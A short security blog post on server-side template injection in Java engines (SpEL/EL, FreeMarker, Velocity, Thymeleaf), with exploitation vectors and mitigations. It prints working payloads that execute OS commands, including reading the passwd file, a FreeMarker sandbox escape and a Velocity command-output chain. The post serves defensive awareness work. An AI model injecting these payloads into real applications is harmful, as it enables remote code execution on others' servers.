Blog

Avoiding Templates injection

The best way to prevent server-side template injection is to not allow any users to modify or submit new templates.

schedule a call

SSTI

beware of template languages:

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

  • Expression Language – EL (used by JSF,JSP,CDI)
PARSER = new SpelExpressionParser();
        String input = stdin.readLine();
        Expression exp = PARSER.parseExpression(input);
        String result = exp.getValue().toString();
        System.out.println(result);
Enter a String to evaluate:
{5*5}
[25]

Exploitation vectors:

  • blind detection (timing/external interaction)
  • RFI
  • RCE
  • authorization bypass

  • FreeMarker (outdated allows for sandbox escape)
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

  • Velocity
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

  • Thymeleaf (aside from special attributes, preprocessing can be abused to achieve code execution)
<a th:href="@{__${path}__}" th:title="${title}">

http://localhost:8082/(7*7)

https://tenendo.com:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
  • Pebble
  • Jinjava
  • Hubspot

Taint analysis sinks:

  • template processing
  • dynamic AST/code generation, dynamic compilation
  • components that eval templates or touch outside binaries that do (e.g. imagemagick, ffmpeg)

Mitigation

  • taint analysis, automated code scanning
  • user input sanitization
  • WAF